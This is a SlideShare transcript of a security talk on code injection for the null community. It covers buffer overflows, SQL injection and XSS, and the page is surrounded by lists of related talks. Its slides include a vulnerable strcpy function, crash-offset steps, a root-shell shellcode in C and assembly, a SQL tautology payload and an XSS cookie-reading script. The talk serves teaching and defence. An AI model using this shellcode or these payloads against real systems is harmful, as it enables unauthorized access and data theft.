SlideShare a Scribd company logo
Application Security:  Understanding and Preventing Code injection By Aseem Jakhar
About me Open source and security phreak. LinkedIn null.co.in
Agenda What is code injection Common Code Injection Techniques Buffer overflow Sql Injection Cross site scripting (XSS)
What is code injection ? Every program interfaces with the outer world. Input and Output. Invalid data. Injecting code instead of data and executing it as part of the program.
Buffer overflow   input length. buffer overflows and overwrites the stack Return address overwritten Return address can be invalid or point back to user input.
Function call void foo(int a, int b, ….., int n) Stack growing towards low memory. Caller:   push arg n   ...   push arg b   push arg a push return address  # eip foo:   push ebp  (mov esp, ebp)  # ebp   sub $0x08, esp  # Local variables
How does the stack look ?
 
Example Vulnerable Code int vul_func(char * src) { char vul_buf[40] = {0}; … strcpy(vul_buf, src); … return 0; }
Exploiting buffer overflow Feed the Application, check the registers, return address, shellcode offset/start. Create the Shellcode with stable return address. Test it. Binary pwned!!!
Feed the application $perl –e “print ‘A’ x 1000”  $echo –en “AAAAAAAAAAAAAAAAAA” Pass the string to the application. Analyze the core dump, check for eip and other registers for 0x41414141 Find the  length, offset and valid return address for our shellcode.
Example Shellcode: C setuid(0); execve(“/bin/sh”, NULL, NULL); $gcc -static -o shell shell.c $objdump --disassemble shell
Example Shellcode: Assembly mov  $0xd5,%al  # syscall no. for setuid xor  %ebx,%ebx  # zero out ebx (pass 0 to setuid) int  $0x80  # software interrupt xor  %eax,%eax  # Zero out eax mov  $11,%al  # syscall no. execve() store it in eax xor  %ebx,%ebx  # Zero out the contents push  %ebx  # Push it's value(zero: simple hack to avoid 0s, push  $0x68732f2f  # push the string(2nd half) push  $0x6e69622f # push the string(1st half) STRING == /bin/sh  mov  %esp,%ebx  # 1st argument to execve() adress of 1st char in string  xor  %ecx,%ecx  # 2nd argument to execve() argv = NULL xor  %edx,%edx  # 3rd argument to execve() envp = NULL int  $0x80 $as –o shell.o shell.s && ld –o shell shell.o $objdump –disassemble shell
Demo
Sql Injection Application sends user input to DB. An SQL query is generated by adding user input directly to a string. Select field from table where value = '$input'; Works perfect for valid input :-)
Sql Injection Input meet Bad data! What if $input = foo' or 'a'='a Select field from table where value = 'foo' or 'a'='a'; Voila!!!! Unauthorized access, manipulate DB, delete Tables, input wrong details.
Sql Injection
XSS Injecting script code. Non-persistent XSS Server reads and reflects the content back foo.com/search.php?q=<script-code> Persistent XSS injected into the Web app. <script>alert(document.cookie)</script>
Conclusion Never ever trust user input. Never ever trust user input. Never ever trust user input. Never ever trust user input. Never ever trust user input. Never ever trust user input.
Thank You ! Q A? NULL is looking for phreaks Contact: null@null.co.in

More Related Content

PPTX
Creating own language made easy
KEY
SPL, not a bridge too far
PDF
Linux shell script-1
KEY
Let's build a parser!
DOCX
Php5 certification mock exams
PDF
Exceptions in PHP
KEY
Good Evils In Perl (Yapc Asia)
Creating own language made easy
SPL, not a bridge too far
Linux shell script-1
Let's build a parser!
Php5 certification mock exams
Exceptions in PHP
Good Evils In Perl (Yapc Asia)

What's hot (20)

KEY
Intermediate PHP
PPT
Esprima - What is that
PPTX
PHP Basics
PPT
Php Operators N Controllers
PPT
Perl training-in-navi mumbai
PPTX
Namespaces
PPT
Advanced php
ODP
ekb.py - Python VS ...
PDF
Barely Legal Xxx Perl Presentation
PDF
Elegant Ways of Handling PHP Errors and Exceptions
PDF
Just-In-Time Compiler in PHP 8
PDF
PerlScripting
PDF
PHP7. Game Changer.
PPTX
PHP in 2018 - Q4 - AFUP Limoges
ODP
PHP Tips for certification - OdW13
PDF
Typed Properties and more: What's coming in PHP 7.4?
PDF
Design patterns in javascript
PDF
DIG1108 Lesson 6
PDF
Mirror, mirror on the wall: Building a new PHP reflection library (DPC 2016)
PDF
Data Types In PHP
Intermediate PHP
Esprima - What is that
PHP Basics
Php Operators N Controllers
Perl training-in-navi mumbai
Namespaces
Advanced php
ekb.py - Python VS ...
Barely Legal Xxx Perl Presentation
Elegant Ways of Handling PHP Errors and Exceptions
Just-In-Time Compiler in PHP 8
PerlScripting
PHP7. Game Changer.
PHP in 2018 - Q4 - AFUP Limoges
PHP Tips for certification - OdW13
Typed Properties and more: What's coming in PHP 7.4?
Design patterns in javascript
DIG1108 Lesson 6
Mirror, mirror on the wall: Building a new PHP reflection library (DPC 2016)
Data Types In PHP
Ad

Viewers also liked (6)

PPTX
Code injection
PDF
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
PPTX
SQL Injections (Part 1)
PPTX
Ppt on sql injection
PDF
Sql Injection Myths and Fallacies
PPTX
SQL Injections - A Powerpoint Presentation
Code injection
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
SQL Injections (Part 1)
Ppt on sql injection
Sql Injection Myths and Fallacies
SQL Injections - A Powerpoint Presentation
Ad

Similar to null Pune meet - Application Security: Code injection (20)

PPT
Writing Metasploit Plugins
PPT
Buffer Overflows
PDF
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
PDF
Shellcoding in linux
PDF
Low Level Exploits
PPTX
Functuon
PPTX
Functuon
PDF
Buffer Overflows 101: Some Assembly Required
PPTX
Sending a for ahuh. win32 exploit development old school
PPTX
04 - I love my OS, he protects me (sometimes, in specific circumstances)
ODP
Exploiting buffer overflows
PDF
Buffer Overflow - Smashing the Stack
PDF
Offensive cyber security: Smashing the stack with Python
PDF
Clean & Typechecked JS
PDF
Dive into exploit development
PDF
BASH Shell Scripting – Part III &IV
PDF
"Why is there no artificial intelligence yet?" Or, analysis of CNTK tool kit ...
PDF
Format String Exploitation
PDF
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
PPTX
07 - Bypassing ASLR, or why X^W matters
Writing Metasploit Plugins
Buffer Overflows
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
Shellcoding in linux
Low Level Exploits
Functuon
Functuon
Buffer Overflows 101: Some Assembly Required
Sending a for ahuh. win32 exploit development old school
04 - I love my OS, he protects me (sometimes, in specific circumstances)
Exploiting buffer overflows
Buffer Overflow - Smashing the Stack
Offensive cyber security: Smashing the stack with Python
Clean & Typechecked JS
Dive into exploit development
BASH Shell Scripting – Part III &IV
"Why is there no artificial intelligence yet?" Or, analysis of CNTK tool kit ...
Format String Exploitation
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
07 - Bypassing ASLR, or why X^W matters

More from n|u - The Open Security Community (20)

PDF
Hardware security testing 101 (Null - Delhi Chapter)
PPTX
SSRF exploit the trust relationship
PDF
PDF
Api security-testing
PDF
Introduction to TLS 1.3
PDF
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
PDF
Talking About SSRF,CRLF
PPTX
Building active directory lab for red teaming
PPTX
Owning a company through their logs
PPTX
Introduction to shodan
PDF
Detecting persistence in windows
PPTX
Frida - Objection Tool Usage
PDF
OSQuery - Monitoring System Process
PDF
DevSecOps Jenkins Pipeline -Security
PDF
Extensible markup language attacks
PPTX
PDF
Hardware security testing 101 (Null - Delhi Chapter)
SSRF exploit the trust relationship
Api security-testing
Introduction to TLS 1.3
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Talking About SSRF,CRLF
Building active directory lab for red teaming
Owning a company through their logs
Introduction to shodan
Detecting persistence in windows
Frida - Objection Tool Usage
OSQuery - Monitoring System Process
DevSecOps Jenkins Pipeline -Security
Extensible markup language attacks

Recently uploaded (20)

PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
TLE Review Electricity (Electricity).pptx
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PPTX
Tartificialntelligence_presentation.pptx
PPT
Teaching material agriculture food technology
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Spectral efficient network and resource selection model in 5G networks
PPTX
Machine Learning_overview_presentation.pptx
PDF
Empathic Computing: Creating Shared Understanding
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
A comparative study of natural language inference in Swahili using monolingua...
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Approach and Philosophy of On baking technology
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
Spectroscopy.pptx food analysis technology
PPTX
1. Introduction to Computer Programming.pptx
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
Building Integrated photovoltaic BIPV_UPV.pdf
TLE Review Electricity (Electricity).pptx
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Tartificialntelligence_presentation.pptx
Teaching material agriculture food technology
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Spectral efficient network and resource selection model in 5G networks
Machine Learning_overview_presentation.pptx
Empathic Computing: Creating Shared Understanding
Mobile App Security Testing_ A Comprehensive Guide.pdf
Unlocking AI with Model Context Protocol (MCP)
A comparative study of natural language inference in Swahili using monolingua...
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Advanced methodologies resolving dimensionality complications for autism neur...
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Approach and Philosophy of On baking technology
Digital-Transformation-Roadmap-for-Companies.pptx
Spectroscopy.pptx food analysis technology
1. Introduction to Computer Programming.pptx

null Pune meet - Application Security: Code injection

  • 1. Application Security: Understanding and Preventing Code injection By Aseem Jakhar
  • 2. About me Open source and security phreak. LinkedIn null.co.in
  • 3. Agenda What is code injection Common Code Injection Techniques Buffer overflow Sql Injection Cross site scripting (XSS)
  • 4. What is code injection ? Every program interfaces with the outer world. Input and Output. Invalid data. Injecting code instead of data and executing it as part of the program.
  • 5. Buffer overflow input length. buffer overflows and overwrites the stack Return address overwritten Return address can be invalid or point back to user input.
  • 6. Function call void foo(int a, int b, ….., int n) Stack growing towards low memory. Caller: push arg n ... push arg b push arg a push return address # eip foo: push ebp (mov esp, ebp) # ebp sub $0x08, esp # Local variables
  • 7. How does the stack look ?
  • 8.  
  • 9. Example Vulnerable Code int vul_func(char * src) { char vul_buf[40] = {0}; … strcpy(vul_buf, src); … return 0; }
  • 10. Exploiting buffer overflow Feed the Application, check the registers, return address, shellcode offset/start. Create the Shellcode with stable return address. Test it. Binary pwned!!!
  • 11. Feed the application $perl –e “print ‘A’ x 1000” $echo –en “AAAAAAAAAAAAAAAAAA” Pass the string to the application. Analyze the core dump, check for eip and other registers for 0x41414141 Find the length, offset and valid return address for our shellcode.
  • 12. Example Shellcode: C setuid(0); execve(“/bin/sh”, NULL, NULL); $gcc -static -o shell shell.c $objdump --disassemble shell
  • 13. Example Shellcode: Assembly mov $0xd5,%al # syscall no. for setuid xor %ebx,%ebx # zero out ebx (pass 0 to setuid) int $0x80 # software interrupt xor %eax,%eax # Zero out eax mov $11,%al # syscall no. execve() store it in eax xor %ebx,%ebx # Zero out the contents push %ebx # Push it's value(zero: simple hack to avoid 0s, push $0x68732f2f # push the string(2nd half) push $0x6e69622f # push the string(1st half) STRING == /bin/sh mov %esp,%ebx # 1st argument to execve() adress of 1st char in string xor %ecx,%ecx # 2nd argument to execve() argv = NULL xor %edx,%edx # 3rd argument to execve() envp = NULL int $0x80 $as –o shell.o shell.s && ld –o shell shell.o $objdump –disassemble shell
  • 14. Demo
  • 15. Sql Injection Application sends user input to DB. An SQL query is generated by adding user input directly to a string. Select field from table where value = '$input'; Works perfect for valid input :-)
  • 16. Sql Injection Input meet Bad data! What if $input = foo' or 'a'='a Select field from table where value = 'foo' or 'a'='a'; Voila!!!! Unauthorized access, manipulate DB, delete Tables, input wrong details.
  • 18. XSS Injecting script code. Non-persistent XSS Server reads and reflects the content back foo.com/search.php?q=<script-code> Persistent XSS injected into the Web app. <script>alert(document.cookie)</script>
  • 19. Conclusion Never ever trust user input. Never ever trust user input. Never ever trust user input. Never ever trust user input. Never ever trust user input. Never ever trust user input.
  • 20. Thank You ! Q A? NULL is looking for phreaks Contact: [email protected]